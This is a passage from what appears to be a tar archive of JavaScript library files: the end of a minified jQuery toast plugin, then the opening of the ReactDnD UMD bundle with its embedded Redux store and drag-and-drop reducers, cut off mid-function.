t=this;o.setTimeout(function(){"fade"===t.options.showHideTransition.toLowerCase()?(t._toastEl.trigger("beforeHide"),t._toastEl.fadeOut(function(){t._toastEl.trigger("afterHidden")})):"slide"===t.options.showHideTransition.toLowerCase()?(t._toastEl.trigger("beforeHide"),t._toastEl.slideUp(function(){t._toastEl.trigger("afterHidden")})):(t._toastEl.trigger("beforeHide"),t._toastEl.hide(function(){t._toastEl.trigger("afterHidden")}))},this.options.hideAfter)}},reset:function(o){"all"===o?t(".jq-toast-wrap").remove():this._toastEl.remove()},update:function(t){this.prepareOptions(t,this.options),this.setup(),this.bindToast()}};t.toast=function(t){var o=Object.create(n);return o.init(t,this),{reset:function(t){o.reset(t)},update:function(t){o.update(t)}}},t.toast.options={text:"",heading:"",showHideTransition:"fade",allowToastClose:!0,hideAfter:3e3,loader:!0,loaderBg:"#9EC600",stack:5,position:"bottom-left",bgColor:!1,textColor:!1,textAlign:"left",icon:!1,beforeShow:function(){},afterShown:function(){},beforeHide:function(){},afterHidden:function(){}}}(jQuery,window,document);umd/ReactDnD.js000064400000532472151677306070007344 0ustar00(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('react')) :
  typeof define === 'function' && define.amd ? define(['exports', 'react'], factory) :
  (global = global || self, factory(global.ReactDnD = {}, global.React));
}(this, (function (exports, React) { 'use strict';

  var HandlerRole;

  (function (HandlerRole) {
    HandlerRole["SOURCE"] = "SOURCE";
    HandlerRole["TARGET"] = "TARGET";
  })(HandlerRole || (HandlerRole = {}));

  function symbolObservablePonyfill(root) {
  	var result;
  	var Symbol = root.Symbol;

  	if (typeof Symbol === 'function') {
  		if (Symbol.observable) {
  			result = Symbol.observable;
  		} else {
  			result = Symbol('observable');
  			Symbol.observable = result;
  		}
  	} else {
  		result = '@@observable';
  	}

  	return result;
  }

  /* global window */

  var root;

  if (typeof self !== 'undefined') {
    root = self;
  } else if (typeof window !== 'undefined') {
    root = window;
  } else if (typeof global !== 'undefined') {
    root = global;
  } else if (typeof module !== 'undefined') {
    root = module;
  } else {
    root = Function('return this')();
  }

  var result = symbolObservablePonyfill(root);

  /**
   * These are private action types reserved by Redux.
   * For any unknown actions, you must return the current state.
   * If the current state is undefined, you must return the initial state.
   * Do not reference these action types directly in your code.
   */
  var randomString = function randomString() {
    return Math.random().toString(36).substring(7).split('').join('.');
  };

  var ActionTypes = {
    INIT: "@@redux/INIT" + randomString(),
    REPLACE: "@@redux/REPLACE" + randomString(),
    PROBE_UNKNOWN_ACTION: function PROBE_UNKNOWN_ACTION() {
      return "@@redux/PROBE_UNKNOWN_ACTION" + randomString();
    }
  };

  /**
   * @param {any} obj The object to inspect.
   * @returns {boolean} True if the argument appears to be a plain object.
   */
  function isPlainObject(obj) {
    if (typeof obj !== 'object' || obj === null) return false;
    var proto = obj;

    while (Object.getPrototypeOf(proto) !== null) {
      proto = Object.getPrototypeOf(proto);
    }

    return Object.getPrototypeOf(obj) === proto;
  }

  /**
   * Creates a Redux store that holds the state tree.
   * The only way to change the data in the store is to call `dispatch()` on it.
   *
   * There should only be a single store in your app. To specify how different
   * parts of the state tree respond to actions, you may combine several reducers
   * into a single reducer function by using `combineReducers`.
   *
   * @param {Function} reducer A function that returns the next state tree, given
   * the current state tree and the action to handle.
   *
   * @param {any} [preloadedState] The initial state. You may optionally specify it
   * to hydrate the state from the server in universal apps, or to restore a
   * previously serialized user session.
   * If you use `combineReducers` to produce the root reducer function, this must be
   * an object with the same shape as `combineReducers` keys.
   *
   * @param {Function} [enhancer] The store enhancer. You may optionally specify it
   * to enhance the store with third-party capabilities such as middleware,
   * time travel, persistence, etc. The only store enhancer that ships with Redux
   * is `applyMiddleware()`.
   *
   * @returns {Store} A Redux store that lets you read the state, dispatch actions
   * and subscribe to changes.
   */

  function createStore(reducer, preloadedState, enhancer) {
    var _ref2;

    if (typeof preloadedState === 'function' && typeof enhancer === 'function' || typeof enhancer === 'function' && typeof arguments[3] === 'function') {
      throw new Error('It looks like you are passing several store enhancers to ' + 'createStore(). This is not supported. Instead, compose them ' + 'together to a single function.');
    }

    if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') {
      enhancer = preloadedState;
      preloadedState = undefined;
    }

    if (typeof enhancer !== 'undefined') {
      if (typeof enhancer !== 'function') {
        throw new Error('Expected the enhancer to be a function.');
      }

      return enhancer(createStore)(reducer, preloadedState);
    }

    if (typeof reducer !== 'function') {
      throw new Error('Expected the reducer to be a function.');
    }

    var currentReducer = reducer;
    var currentState = preloadedState;
    var currentListeners = [];
    var nextListeners = currentListeners;
    var isDispatching = false;
    /**
     * This makes a shallow copy of currentListeners so we can use
     * nextListeners as a temporary list while dispatching.
     *
     * This prevents any bugs around consumers calling
     * subscribe/unsubscribe in the middle of a dispatch.
     */

    function ensureCanMutateNextListeners() {
      if (nextListeners === currentListeners) {
        nextListeners = currentListeners.slice();
      }
    }
    /**
     * Reads the state tree managed by the store.
     *
     * @returns {any} The current state tree of your application.
     */


    function getState() {
      if (isDispatching) {
        throw new Error('You may not call store.getState() while the reducer is executing. ' + 'The reducer has already received the state as an argument. ' + 'Pass it down from the top reducer instead of reading it from the store.');
      }

      return currentState;
    }
    /**
     * Adds a change listener. It will be called any time an action is dispatched,
     * and some part of the state tree may potentially have changed. You may then
     * call `getState()` to read the current state tree inside the callback.
     *
     * You may call `dispatch()` from a change listener, with the following
     * caveats:
     *
     * 1. The subscriptions are snapshotted just before every `dispatch()` call.
     * If you subscribe or unsubscribe while the listeners are being invoked, this
     * will not have any effect on the `dispatch()` that is currently in progress.
     * However, the next `dispatch()` call, whether nested or not, will use a more
     * recent snapshot of the subscription list.
     *
     * 2. The listener should not expect to see all state changes, as the state
     * might have been updated multiple times during a nested `dispatch()` before
     * the listener is called. It is, however, guaranteed that all subscribers
     * registered before the `dispatch()` started will be called with the latest
     * state by the time it exits.
     *
     * @param {Function} listener A callback to be invoked on every dispatch.
     * @returns {Function} A function to remove this change listener.
     */


    function subscribe(listener) {
      if (typeof listener !== 'function') {
        throw new Error('Expected the listener to be a function.');
      }

      if (isDispatching) {
        throw new Error('You may not call store.subscribe() while the reducer is executing. ' + 'If you would like to be notified after the store has been updated, subscribe from a ' + 'component and invoke store.getState() in the callback to access the latest state. ' + 'See https://redux.js.org/api-reference/store#subscribelistener for more details.');
      }

      var isSubscribed = true;
      ensureCanMutateNextListeners();
      nextListeners.push(listener);
      return function unsubscribe() {
        if (!isSubscribed) {
          return;
        }

        if (isDispatching) {
          throw new Error('You may not unsubscribe from a store listener while the reducer is executing. ' + 'See https://redux.js.org/api-reference/store#subscribelistener for more details.');
        }

        isSubscribed = false;
        ensureCanMutateNextListeners();
        var index = nextListeners.indexOf(listener);
        nextListeners.splice(index, 1);
        currentListeners = null;
      };
    }
    /**
     * Dispatches an action. It is the only way to trigger a state change.
     *
     * The `reducer` function, used to create the store, will be called with the
     * current state tree and the given `action`. Its return value will
     * be considered the **next** state of the tree, and the change listeners
     * will be notified.
     *
     * The base implementation only supports plain object actions. If you want to
     * dispatch a Promise, an Observable, a thunk, or something else, you need to
     * wrap your store creating function into the corresponding middleware. For
     * example, see the documentation for the `redux-thunk` package. Even the
     * middleware will eventually dispatch plain object actions using this method.
     *
     * @param {Object} action A plain object representing “what changed”. It is
     * a good idea to keep actions serializable so you can record and replay user
     * sessions, or use the time travelling `redux-devtools`. An action must have
     * a `type` property which may not be `undefined`. It is a good idea to use
     * string constants for action types.
     *
     * @returns {Object} For convenience, the same action object you dispatched.
     *
     * Note that, if you use a custom middleware, it may wrap `dispatch()` to
     * return something else (for example, a Promise you can await).
     */


    function dispatch(action) {
      if (!isPlainObject(action)) {
        throw new Error('Actions must be plain objects. ' + 'Use custom middleware for async actions.');
      }

      if (typeof action.type === 'undefined') {
        throw new Error('Actions may not have an undefined "type" property. ' + 'Have you misspelled a constant?');
      }

      if (isDispatching) {
        throw new Error('Reducers may not dispatch actions.');
      }

      try {
        isDispatching = true;
        currentState = currentReducer(currentState, action);
      } finally {
        isDispatching = false;
      }

      var listeners = currentListeners = nextListeners;

      for (var i = 0; i < listeners.length; i++) {
        var listener = listeners[i];
        listener();
      }

      return action;
    }
    /**
     * Replaces the reducer currently used by the store to calculate the state.
     *
     * You might need this if your app implements code splitting and you want to
     * load some of the reducers dynamically. You might also need this if you
     * implement a hot reloading mechanism for Redux.
     *
     * @param {Function} nextReducer The reducer for the store to use instead.
     * @returns {void}
     */


    function replaceReducer(nextReducer) {
      if (typeof nextReducer !== 'function') {
        throw new Error('Expected the nextReducer to be a function.');
      }

      currentReducer = nextReducer; // This action has a similiar effect to ActionTypes.INIT.
      // Any reducers that existed in both the new and old rootReducer
      // will receive the previous state. This effectively populates
      // the new state tree with any relevant data from the old one.

      dispatch({
        type: ActionTypes.REPLACE
      });
    }
    /**
     * Interoperability point for observable/reactive libraries.
     * @returns {observable} A minimal observable of state changes.
     * For more information, see the observable proposal:
     * https://github.com/tc39/proposal-observable
     */


    function observable() {
      var _ref;

      var outerSubscribe = subscribe;
      return _ref = {
        /**
         * The minimal observable subscription method.
         * @param {Object} observer Any object that can be used as an observer.
         * The observer object should have a `next` method.
         * @returns {subscription} An object with an `unsubscribe` method that can
         * be used to unsubscribe the observable from the store, and prevent further
         * emission of values from the observable.
         */
        subscribe: function subscribe(observer) {
          if (typeof observer !== 'object' || observer === null) {
            throw new TypeError('Expected the observer to be an object.');
          }

          function observeState() {
            if (observer.next) {
              observer.next(getState());
            }
          }

          observeState();
          var unsubscribe = outerSubscribe(observeState);
          return {
            unsubscribe: unsubscribe
          };
        }
      }, _ref[result] = function () {
        return this;
      }, _ref;
    } // When a store is created, an "INIT" action is dispatched so that every
    // reducer returns their initial state. This effectively populates
    // the initial state tree.


    dispatch({
      type: ActionTypes.INIT
    });
    return _ref2 = {
      dispatch: dispatch,
      subscribe: subscribe,
      getState: getState,
      replaceReducer: replaceReducer
    }, _ref2[result] = observable, _ref2;
  }

  /**
   * Prints a warning in the console if it exists.
   *
   * @param {String} message The warning message.
   * @returns {void}
   */
  function warning(message) {
    /* eslint-disable no-console */
    if (typeof console !== 'undefined' && typeof console.error === 'function') {
      console.error(message);
    }
    /* eslint-enable no-console */


    try {
      // This error was thrown as a convenience so that if you enable
      // "break on all exceptions" in your console,
      // it would pause the execution at this line.
      throw new Error(message);
    } catch (e) {} // eslint-disable-line no-empty

  }

  /*
   * This is a dummy function to check if the function name has been altered by minification.
   * If the function has been minified and NODE_ENV !== 'production', warn the user.
   */

  function isCrushed() {}

  if ( typeof isCrushed.name === 'string' && isCrushed.name !== 'isCrushed') {
    warning('You are currently using minified code outside of NODE_ENV === "production". ' + 'This means that you are running a slower development build of Redux. ' + 'You can use loose-envify (https://github.com/zertosh/loose-envify) for browserify ' + 'or setting mode to production in webpack (https://webpack.js.org/concepts/mode/) ' + 'to ensure you have the correct code for your production build.');
  }

  /**
   * Use invariant() to assert state which your program assumes to be true.
   *
   * Provide sprintf-style format (only %s is supported) and arguments
   * to provide information about what broke and what you were
   * expecting.
   *
   * The invariant message will be stripped in production, but the invariant
   * will remain to ensure logic does not differ in production.
   */
  function invariant(condition, format) {
    for (var _len = arguments.length, args = new Array(_len > 2 ? _len - 2 : 0), _key = 2; _key < _len; _key++) {
      args[_key - 2] = arguments[_key];
    }

    {
      if (format === undefined) {
        throw new Error('invariant requires an error message argument');
      }
    }

    if (!condition) {
      var error;

      if (format === undefined) {
        error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.');
      } else {
        var argIndex = 0;
        error = new Error(format.replace(/%s/g, function () {
          return args[argIndex++];
        }));
        error.name = 'Invariant Violation';
      }

      error.framesToPop = 1; // we don't care about invariant's own frame

      throw error;
    }
  }

  var INIT_COORDS = 'dnd-core/INIT_COORDS';
  var BEGIN_DRAG = 'dnd-core/BEGIN_DRAG';
  var PUBLISH_DRAG_SOURCE = 'dnd-core/PUBLISH_DRAG_SOURCE';
  var HOVER = 'dnd-core/HOVER';
  var DROP = 'dnd-core/DROP';
  var END_DRAG = 'dnd-core/END_DRAG';

  function setClientOffset(clientOffset, sourceClientOffset) {
    return {
      type: INIT_COORDS,
      payload: {
        sourceClientOffset: sourceClientOffset || null,
        clientOffset: clientOffset || null
      }
    };
  }

  function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

  // cheap lodash replacements

  /**
   * drop-in replacement for _.get
   * @param obj
   * @param path
   * @param defaultValue
   */
  function get(obj, path, defaultValue) {
    return path.split('.').reduce(function (a, c) {
      return a && a[c] ? a[c] : defaultValue || null;
    }, obj);
  }
  /**
   * drop-in replacement for _.without
   */

  function without(items, item) {
    return items.filter(function (i) {
      return i !== item;
    });
  }
  /**
   * drop-in replacement for _.isString
   * @param input
   */

  function isObject(input) {
    return _typeof(input) === 'object';
  }
  /**
   * repalcement for _.xor
   * @param itemsA
   * @param itemsB
   */

  function xor(itemsA, itemsB) {
    var map = new Map();

    var insertItem = function insertItem(item) {
      map.set(item, map.has(item) ? map.get(item) + 1 : 1);
    };

    itemsA.forEach(insertItem);
    itemsB.forEach(insertItem);
    var result = [];
    map.forEach(function (count, key) {
      if (count === 1) {
        result.push(key);
      }
    });
    return result;
  }
  /**
   * replacement for _.intersection
   * @param itemsA
   * @param itemsB
   */

  function intersection(itemsA, itemsB) {
    return itemsA.filter(function (t) {
      return itemsB.indexOf(t) > -1;
    });
  }

  var ResetCoordinatesAction = {
    type: INIT_COORDS,
    payload: {
      clientOffset: null,
      sourceClientOffset: null
    }
  };
  function createBeginDrag(manager) {
    return function beginDrag() {
      var sourceIds = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
      var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {
        publishSource: true
      };
      var _options$publishSourc = options.publishSource,
          publishSource = _options$publishSourc === void 0 ? true : _options$publishSourc,
          clientOffset = options.clientOffset,
          getSourceClientOffset = options.getSourceClientOffset;
      var monitor = manager.getMonitor();
      var registry = manager.getRegistry(); // Initialize the coordinates using the client offset

      manager.dispatch(setClientOffset(clientOffset));
      verifyInvariants(sourceIds, monitor, registry); // Get the draggable source

      var sourceId = getDraggableSource(sourceIds, monitor);

      if (sourceId === null) {
        manager.dispatch(ResetCoordinatesAction);
        return;
      } // Get the source client offset


      var sourceClientOffset = null;

      if (clientOffset) {
        if (!getSourceClientOffset) {
          throw new Error('getSourceClientOffset must be defined');
        }

        verifyGetSourceClientOffsetIsFunction(getSourceClientOffset);
        sourceClientOffset = getSourceClientOffset(sourceId);
      } // Initialize the full coordinates


      manager.dispatch(setClientOffset(clientOffset, sourceClientOffset));
      var source = registry.getSource(sourceId);
      var item = source.beginDrag(monitor, sourceId);
      verifyItemIsObject(item);
      registry.pinSource(sourceId);
      var itemType = registry.getSourceType(sourceId);
      return {
        type: BEGIN_DRAG,
        payload: {
          itemType: itemType,
          item: item,
          sourceId: sourceId,
          clientOffset: clientOffset || null,
          sourceClientOffset: sourceClientOffset || null,
          isSourcePublic: !!publishSource
        }
      };
    };
  }

  function verifyInvariants(sourceIds, monitor, registry) {
    invariant(!monitor.isDragging(), 'Cannot call beginDrag while dragging.');
    sourceIds.forEach(function (sourceId) {
      invariant(registry.getSource(sourceId), 'Expected sourceIds to be registered.');
    });
  }

  function verifyGetSourceClientOffsetIsFunction(getSourceClientOffset) {
    invariant(typeof getSourceClientOffset === 'function', 'When clientOffset is provided, getSourceClientOffset must be a function.');
  }

  function verifyItemIsObject(item) {
    invariant(isObject(item), 'Item must be an object.');
  }

  function getDraggableSource(sourceIds, monitor) {
    var sourceId = null;

    for (var i = sourceIds.length - 1; i >= 0; i--) {
      if (monitor.canDragSource(sourceIds[i])) {
        sourceId = sourceIds[i];
        break;
      }
    }

    return sourceId;
  }

  function createPublishDragSource(manager) {
    return function publishDragSource() {
      var monitor = manager.getMonitor();

      if (monitor.isDragging()) {
        return {
          type: PUBLISH_DRAG_SOURCE
        };
      }
    };
  }

  function matchesType(targetType, draggedItemType) {
    if (draggedItemType === null) {
      return targetType === null;
    }

    return Array.isArray(targetType) ? targetType.some(function (t) {
      return t === draggedItemType;
    }) : targetType === draggedItemType;
  }

  function createHover(manager) {
    return function hover(targetIdsArg) {
      var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},
          clientOffset = _ref.clientOffset;

      verifyTargetIdsIsArray(targetIdsArg);
      var targetIds = targetIdsArg.slice(0);
      var monitor = manager.getMonitor();
      var registry = manager.getRegistry();
      checkInvariants(targetIds, monitor, registry);
      var draggedItemType = monitor.getItemType();
      removeNonMatchingTargetIds(targetIds, registry, draggedItemType);
      hoverAllTargets(targetIds, monitor, registry);
      return {
        type: HOVER,
        payload: {
          targetIds: targetIds,
          clientOffset: clientOffset || null
        }
      };
    };
  }

  function verifyTargetIdsIsArray(targetIdsArg) {
    invariant(Array.isArray(targetIdsArg), 'Expected targetIds to be an array.');
  }

  function checkInvariants(targetIds, monitor, registry) {
    invariant(monitor.isDragging(), 'Cannot call hover while not dragging.');
    invariant(!monitor.didDrop(), 'Cannot call hover after drop.');

    for (var i = 0; i < targetIds.length; i++) {
      var targetId = targetIds[i];
      invariant(targetIds.lastIndexOf(targetId) === i, 'Expected targetIds to be unique in the passed array.');
      var target = registry.getTarget(targetId);
      invariant(target, 'Expected targetIds to be registered.');
    }
  }

  function removeNonMatchingTargetIds(targetIds, registry, draggedItemType) {
    // Remove those targetIds that don't match the targetType.  This
    // fixes shallow isOver which would only be non-shallow because of
    // non-matching targets.
    for (var i = targetIds.length - 1; i >= 0; i--) {
      var targetId = targetIds[i];
      var targetType = registry.getTargetType(targetId);

      if (!matchesType(targetType, draggedItemType)) {
        targetIds.splice(i, 1);
      }
    }
  }

  function hoverAllTargets(targetIds, monitor, registry) {
    // Finally call hover on all matching targets.
    targetIds.forEach(function (targetId) {
      var target = registry.getTarget(targetId);
      target.hover(monitor, targetId);
    });
  }

  function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

  function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

  function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
  function createDrop(manager) {
    return function drop() {
      var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
      var monitor = manager.getMonitor();
      var registry = manager.getRegistry();
      verifyInvariants$1(monitor);
      var targetIds = getDroppableTargets(monitor); // Multiple actions are dispatched here, which is why this doesn't return an action

      targetIds.forEach(function (targetId, index) {
        var dropResult = determineDropResult(targetId, index, registry, monitor);
        var action = {
          type: DROP,
          payload: {
            dropResult: _objectSpread(_objectSpread({}, options), dropResult)
          }
        };
        manager.dispatch(action);
      });
    };
  }

  function verifyInvariants$1(monitor) {
    invariant(monitor.isDragging(), 'Cannot call drop while not dragging.');
    invariant(!monitor.didDrop(), 'Cannot call drop twice during one drag operation.');
  }

  function determineDropResult(targetId, index, registry, monitor) {
    var target = registry.getTarget(targetId);
    var dropResult = target ? target.drop(monitor, targetId) : undefined;
    verifyDropResultType(dropResult);

    if (typeof dropResult === 'undefined') {
      dropResult = index === 0 ? {} : monitor.getDropResult();
    }

    return dropResult;
  }

  function verifyDropResultType(dropResult) {
    invariant(typeof dropResult === 'undefined' || isObject(dropResult), 'Drop result must either be an object or undefined.');
  }

  function getDroppableTargets(monitor) {
    var targetIds = monitor.getTargetIds().filter(monitor.canDropOnTarget, monitor);
    targetIds.reverse();
    return targetIds;
  }

  function createEndDrag(manager) {
    return function endDrag() {
      var monitor = manager.getMonitor();
      var registry = manager.getRegistry();
      verifyIsDragging(monitor);
      var sourceId = monitor.getSourceId();

      if (sourceId != null) {
        var source = registry.getSource(sourceId, true);
        source.endDrag(monitor, sourceId);
        registry.unpinSource();
      }

      return {
        type: END_DRAG
      };
    };
  }

  function verifyIsDragging(monitor) {
    invariant(monitor.isDragging(), 'Cannot call endDrag while not dragging.');
  }

  function createDragDropActions(manager) {
    return {
      beginDrag: createBeginDrag(manager),
      publishDragSource: createPublishDragSource(manager),
      hover: createHover(manager),
      drop: createDrop(manager),
      endDrag: createEndDrag(manager)
    };
  }

  var strictEquality = function strictEquality(a, b) {
    return a === b;
  };
  /**
   * Determine if two cartesian coordinate offsets are equal
   * @param offsetA
   * @param offsetB
   */

  function areCoordsEqual(offsetA, offsetB) {
    if (!offsetA && !offsetB) {
      return true;
    } else if (!offsetA || !offsetB) {
      return false;
    } else {
      return offsetA.x === offsetB.x && offsetA.y === offsetB.y;
    }
  }
  /**
   * Determines if two arrays of items are equal
   * @param a The first array of items
   * @param b The second array of items
   */

  function areArraysEqual(a, b) {
    var isEqual = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : strictEquality;

    if (a.length !== b.length) {
      return false;
    }

    for (var i = 0; i < a.length; ++i) {
      if (!isEqual(a[i], b[i])) {
        return false;
      }
    }

    return true;
  }

  function ownKeys$1(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

  function _objectSpread$1(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys$1(Object(source), true).forEach(function (key) { _defineProperty$1(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys$1(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

  function _defineProperty$1(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
  var initialState = {
    initialSourceClientOffset: null,
    initialClientOffset: null,
    clientOffset: null
  };
  function reduce() {
    var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : initialState;
    var action = arguments.length > 1 ? arguments[1] : undefined;
    var payload = action.payload;

    switch (action.type) {
      case INIT_COORDS:
      case BEGIN_DRAG:
        return {
          initialSourceClientOffset: payload.sourceClientOffset,
          initialClientOffset: payload.clientOffset,
          clientOffset: payload.clientOffset
        };

      case HOVER:
        if (areCoordsEqual(state.clientOffset, payload.clientOffset)) {
          return state;
        }

        return _objectSpread$1(_objectSpread$1({}, state), {}, {
          clientOffset: payload.clientOffset
        });

      case END_DRAG:
      case DROP:
        return initialState;

      default:
        return state;
    }
  }

  var ADD_SOURCE = 'dnd-core/ADD_SOURCE';
  var ADD_TARGET = 'dnd-core/ADD_TARGET';
  var REMOVE_SOURCE = 'dnd-core/REMOVE_SOURCE';
  var REMOVE_TARGET = 'dnd-core/REMOVE_TARGET';
  function addSource(sourceId) {
    return {
      type: ADD_SOURCE,
      payload: {
        sourceId: sourceId
      }
    };
  }
  function addTarget(targetId) {
    return {
      type: ADD_TARGET,
      payload: {
        targetId: targetId
      }
    };
  }
  function removeSource(sourceId) {
    return {
      type: REMOVE_SOURCE,
      payload: {
        sourceId: sourceId
      }
    };
  }
  function removeTarget(targetId) {
    return {
      type: REMOVE_TARGET,
      payload: {
        targetId: targetId
      }
    };
  }

  function ownKeys$2(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

  function _objectSpread$2(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys$2(Object(source), true).forEach(function (key) { _defineProperty$2(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys$2(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

  function _defineProperty$2(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
  var initialState$1 = {
    itemType: null,
    item: null,
    sourceId: null,
    targetIds: [],
    dropResult: null,
    didDrop: false,
    isSourcePublic: null
  };
  function reduce$1() {
    var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : initialState$1;
    var action = arguments.length > 1 ? arguments[1] : undefined;
    var payload = action.payload;

    switch (action.type) {
      case BEGIN_DRAG:
        return _objectSpread$2(_objectSpread$2({}, state), {}, {
          itemType: payload.itemType,
          item: payload.item,
          sourceId: payload.sourceId,
          isSourcePublic: payload.isSourcePublic,
          dropResult: null,
          didDrop: false
        });

      case PUBLISH_DRAG_SOURCE:
        return _objectSpread$2(_objectSpread$2({}, state), {}, {
          isSourcePublic: true
        });

      case HOVER:
        return _objectSpread$2(_objectSpread$2({}, state), {}, {
          targetIds: payload.targetIds
        });

      case REMOVE_TARGET:
        if (state.targetIds.indexOf(payload.targetId) === -1) {
          return state;
        }

        return _objectSpread$2(_objectSpread$2({}, state), {}, {
          targetIds: without(state.targetIds, payload.targetId)
        });

      case DROP:
        return _objectSpread$2(_objectSpread$2({}, state), {}, {
          dropResult: payload.dropResult,
          didDrop: true,
          targetIds: []
        });

      case END_DRAG:
        return _objectSpread$2(_objectSpread$2({}, state), {}, {
          itemType: null,
          item: null,
          sourceId: null,
          dropResult: null,
          didDrop: false,
          isSourcePublic: null,
          targetIds: []
        });

      default:
        return state;
    }
  }

  function reduce$2() {
    var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
    var action = arguments.length > 1 ? arguments[1] : undefined;

    switch (action.type) {
      case ADD_SOURCE:
      case ADD_TARGET:
        return state + 1;

      case REMOVE_SOURCE:
      case REMOVE_TARGET:
        return state - 1;

      default:
        return state;
    }
  }

  var NONE = [];
  var ALL = [];
  NONE.__IS_NONE__ = true;
  ALL.__IS_ALL__ = true;
  /**
   * Determines if the given handler IDs are dirty or not.
   *
   * @param dirtyIds The set of dirty handler ids
   * @param handlerIds The set of handler ids to check
   */

  function areDirty(dirtyIds, handlerIds) {
    if (dirtyIds === NONE) {
      return false;
    }

    if (dirtyIds === ALL || typeof handlerIds === 'undefined') {
      return true;
    }

    var commonIds = intersection(handlerIds, dirtyIds);
    return commonIds.length > 0;
  }

  function reduce$3() {

    var action = arguments.length > 1 ? arguments[1] : undefined;

    switch (action.type) {
      case HOVER:
        break;

      case ADD_SOURCE:
      case ADD_TARGET:
      case REMOVE_TARGET:
      case REMOVE_SOURCE:
        return NONE;

      case BEGIN_DRAG:
      case PUBLISH_DRAG_SOURCE:
      case END_DRAG:
      case DROP:
      default:
        return ALL;
    }

    var _action$payload = action.payload,
        _action$payload$targe = _action$payload.targetIds,
        targetIds = _action$payload$targe === void 0 ? [] : _action$payload$targe,
        _action$payload$prevT = _action$payload.prevTargetIds,
        prevTargetIds = _action$payload$prevT === void 0 ? [] : _action$payload$prevT;
    var result = xor(targetIds, prevTargetIds);
    var didChange = result.length > 0 || !areArraysEqual(targetIds, prevTargetIds);

    if (!didChange) {
      return NONE;
    } // Check the target ids at the innermost position. If they are valid, add them
    // to the result


    var prevInnermostTargetId = prevTargetIds[prevTargetIds.length - 1];
    var innermostTargetId = targetIds[targetIds.length - 1];

    if (prevInnermostTargetId !== innermostTargetId) {
      if (prevInnermostTargetId) {
        result.push(prevInnermostTargetId);
      }

      if (innermostTargetId) {
        result.push(innermostTargetId);
      }
    }

    return result;
  }

  function reduce$4() {
    var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
    return state + 1;
  }

  function ownKeys$3(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

  function _objectSpread$3(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys$3(Object(source), true).forEach(function (key) { _defineProperty$3(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys$3(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

  function _defineProperty$3(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
  function reduce$5() {
    var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    var action = arguments.length > 1 ? arguments[1] : undefined;
    return {
